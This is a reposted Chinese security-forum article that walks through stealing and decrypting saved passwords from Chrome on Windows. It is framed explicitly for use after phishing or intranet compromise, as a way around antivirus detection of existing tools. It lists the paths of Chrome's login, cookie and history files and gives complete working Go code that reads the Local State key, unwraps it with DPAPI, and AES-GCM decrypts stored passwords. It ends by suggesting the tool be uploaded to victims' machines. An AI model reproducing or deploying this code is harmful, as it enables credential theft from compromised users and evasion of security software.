|
本帖最后由 wangqiang 于 2022-6-27 00:50 编辑
chrome浏览器密码解密工具
原创 暗月小徒弟 moonsec
2022-06-26 13:43 发表于广东
转载地址:chrome浏览器密码解密工具
chrome浏览器密码解密工具
1、前言
当我们钓鱼或者进入内网获得一台机器权限的时候,第一步是需要信息搜集的,其中一步就是抓取并解密浏览器密码,虽然后一款非常好用的HackBrowserData工具,
但是用的人多了也就开始被杀了。
这篇文章就是来了解一下如何去解密Chrome浏览器密码的抓取浏览器信息需要以下几个文件,这些文件存储了浏览器的信息,工具抓取也是去获取这些文件里面的信息。
2、过程
chrome 敏感文件存储位置
- chrome的登陆账号密码文件Login Data文件存储位置
- C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Login Data
- chrome中存储加密key的位置
- C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Local State
- chrome的cookie存储的位置:
- C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Cookies
- chrome的浏览历史History存储位置:
- C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\History
- chrome的收藏的书签存储位置:
- C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Bookmarks
复制代码
其中Cookies、History、Login Data是SQLite3数据库文件,可以使用sqlitestudio直接打开
Bookmarks是全明文的xml文件
Login Data文件是一个数据库文件,可以直接使用工具连接数据库。当chrome正在使用时,是不可连接的
- User\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data
复制代码
但是可以复制出来,再次进行连接。其他都是明文,密码字段是加密的
由于数据库使用的是sqlite3,使用golang脚本加载sqlite3库,进行连接,可正常查询数据
- package main
- import (
- "database/sql"
- "fmt"
- "log"
- "os"
-
- _ "github.com/mattn/go-sqlite3"
- )
- var (
- userPath, _ = os.UserHomeDir()
- //保存的密码存到了logindata数据库sqlite
- localData string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
- localState string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
- temporary string = "D:\\GoProject\\test\\Login Data"
- )
- type chromeDB struct {
- Origin_url string `json:"origin_url"`
- Action_url string `json:"action_url"`
- Username_value string `json:"username_value"`
- Password_value string `json:"password_value"`
- }
- func sqLite() {
- var chrome chromeDB
- db, err := sql.Open("sqlite3", temporary)
- checkErr(err)
- sql := "SELECT origin_url,action_url, username_value, password_value FROM logins"
- // stmt, err := db.Prepare(sql)
- // checkErr(err)
- //defer stmt.Close()
- rows, err := db.Query(sql)
- checkErr(err)
- for rows.Next() {
- err = rows.Scan(&chrome.Origin_url, &chrome.Action_url, &chrome.Username_value, &chrome.Password_value)
- checkErr(err)
- fmt.Println(chrome.Action_url)
- }
-
- }
- func checkErr(err error) {
- if err != nil {
- log.Fatal(err)
- }
- }
- func main() {
- sqLite()
- }
复制代码
但是查询的密码是加密的,接下来需要对密码进行解密。
windows下的chrome使用的加密方法是AES加密,需要一个密钥就可以实现解密
在这个目录下的Local State文件存放了解密使用的KEY
user/AppData/Local/Google/Chrome/User Data/Local State
这个文件时json格式的,在encrypted_key参数对应的就是解密需要的key
chrome最新版在密钥加密后数据前缀是V10,在前面截图中可以看到。后12字节的字符才是真正的密文。Chrome使用的是AES-256-GCM的AEAD对称加密,
然后再另一款工具中找到了解密方法(hackBrowserData)。首先获取os_crypt.encrypted_key字段中的数据,然后经过base64解密,再去除首位5个字符DPAPI。
因为原始密钥加密的时候会带上APAPI前缀+base64编码然后存储到json文件
- func GetMasterKey() ([]byte, error) {
- keyFile, err := ioutil.ReadFile(temporarykey)
- if err != nil {
- return nil, err
- }
- defer os.Remove(string(keyFile))
- encryptedKey := gjson.Get(string(keyFile), "os_crypt.encrypted_key")
- if encryptedKey.Exists() {
- pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
- if err != nil {
- return nil, errDecodeMasterKeyFailed
- }
- //去除首位5个字符DPAPI
- masterKey, err := DPApi(pureKey[5:])
- checkErr(err, "6")
- return masterKey, err
- }
- return nil, nil
- }
- func DPApi(data []byte) ([]byte, error) {
- dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
- dllKernel := syscall.NewLazyDLL("Kernel32.dll")
- procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
- procLocalFree := dllKernel.NewProc("LocalFree")
- var outBlob dataBlob
- r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
- if r == 0 {
- return nil, err
- }
- defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
- return outBlob.ToByteArray(), nil
- }
- func NewBlob(d []byte) *dataBlob {
- if len(d) == 0 {
- return &dataBlob{}
- }
- return &dataBlob{
- pbData: &d[0],
- cbData: uint32(len(d)),
- }
- }
复制代码 这样就获得了一个key。获得了key之后就使用aesGCMD解密。如下就是解密方法- key,err := GetMasterKey()
- pass, err := Chromium([]byte(key), []byte(chrome.Password_value))
- func Chromium(key, encryptPass []byte) ([]byte, error) {
- if len(encryptPass) > 15 {
- // remove Prefix 'v10'
- return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
- } else {
- return nil, errPasswordIsEmpty
- }
- }
- func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
- block, err := aes.NewCipher(key)
- if err != nil {
- return nil, err
- }
- blockMode, err := cipher.NewGCM(block)
- if err != nil {
- return nil, err
- }
- origData, err := blockMode.Open(nil, nounce, crypted, nil)
- if err != nil {
- return nil, err
- }
- return origData, nil
- }
复制代码
有了key可解密方法之后就可以传入数据库中的密码和key进行解密,如下是完整的解密代码。可自行测试,
- package main
- import (
- "crypto/aes"
- "crypto/cipher"
- "database/sql"
- "encoding/base64"
- "errors"
- "fmt"
- "io/ioutil"
- "os"
- "syscall"
- "unsafe"
- _ "github.com/mattn/go-sqlite3"
- "github.com/tidwall/gjson"
- )
- var (
- userPath, _ = os.UserHomeDir()
- //保存的密码存到了logindata数据库sqlite
- localData string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
- localState string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
- //这里是我临时存放这两个文件的目录位置,当然也可以copy到指定目录
- temporarydb string = "C:\\Users\\admin\\Desktop\\test\\Login Data"
- temporarykey string = "C:\\Users\\admin\\Desktop\\test\\Local State"
- )
- type chromeDB struct {
- Origin_url string `json:"origin_url"`
- Action_url string `json:"action_url"`
- Username_value string `json:"username_value"`
- Password_value string `json:"password_value"`
- }
- type dataBlob struct {
- cbData uint32
- pbData *byte
- }
- func sqLite() {
- fmt.Println(localState)
- var chrome chromeDB
- db, err := sql.Open("sqlite3", temporarydb)
- checkErr(err, "1")
- sql := "SELECT origin_url,action_url, username_value, password_value FROM logins"
- rows, err := db.Query(sql)
- checkErr(err, "2")
- for rows.Next() {
- err = rows.Scan(&chrome.Origin_url, &chrome.Action_url, &chrome.Username_value, &chrome.Password_value)
- checkErr(err, "3")
- // fmt.Println(chrome.Password_value)
- key, err := GetMasterKey()
- checkErr(err, "4")
- pass, err := Chromium([]byte(key), []byte(chrome.Password_value))
- checkErr(err, "5")
- fmt.Println(string(pass))
- }
- }
- var (
- errPasswordIsEmpty = errors.New("password is empty")
- errDecodeMasterKeyFailed = errors.New("decode master key failed")
- )
- func Chromium(key, encryptPass []byte) ([]byte, error) {
- if len(encryptPass) > 15 {
- // remove Prefix 'v10'
- return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
- } else {
- return nil, errPasswordIsEmpty
- }
- }
- func GetMasterKey() ([]byte, error) {
- keyFile, err := ioutil.ReadFile(temporarykey)
- if err != nil {
- return nil, err
- }
- defer os.Remove(string(keyFile))
- encryptedKey := gjson.Get(string(keyFile), "os_crypt.encrypted_key")
- if encryptedKey.Exists() {
- pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
- if err != nil {
- return nil, errDecodeMasterKeyFailed
- }
- //去除首位5个字符DPAPI
- masterKey, err := DPApi(pureKey[5:])
- checkErr(err, "6")
- return masterKey, err
- }
- return nil, nil
- }
- func NewBlob(d []byte) *dataBlob {
- if len(d) == 0 {
- return &dataBlob{}
- }
- return &dataBlob{
- pbData: &d[0],
- cbData: uint32(len(d)),
- }
- }
- func (b *dataBlob) ToByteArray() []byte {
- d := make([]byte, b.cbData)
- copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
- return d
- }
- func DPApi(data []byte) ([]byte, error) {
- dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
- dllKernel := syscall.NewLazyDLL("Kernel32.dll")
- procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
- procLocalFree := dllKernel.NewProc("LocalFree")
- var outBlob dataBlob
- r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
- if r == 0 {
- return nil, err
- }
- defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
- return outBlob.ToByteArray(), nil
- }
- func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
- block, err := aes.NewCipher(key)
- if err != nil {
- return nil, err
- }
- blockMode, err := cipher.NewGCM(block)
- if err != nil {
- return nil, err
- }
- origData, err := blockMode.Open(nil, nounce, crypted, nil)
- if err != nil {
- return nil, err
- }
- return origData, nil
- }
- func checkErr(err error, str string) {
- if err != nil {
- fmt.Println(err, str)
- }
- }
- func main() {
- sqLite()
- }
复制代码
输出结果
如果你不会做免杀,那么就可以单独写一个解密工具,如遇到对方机器只有Chrome的时候,可以上传这个小工具
|
|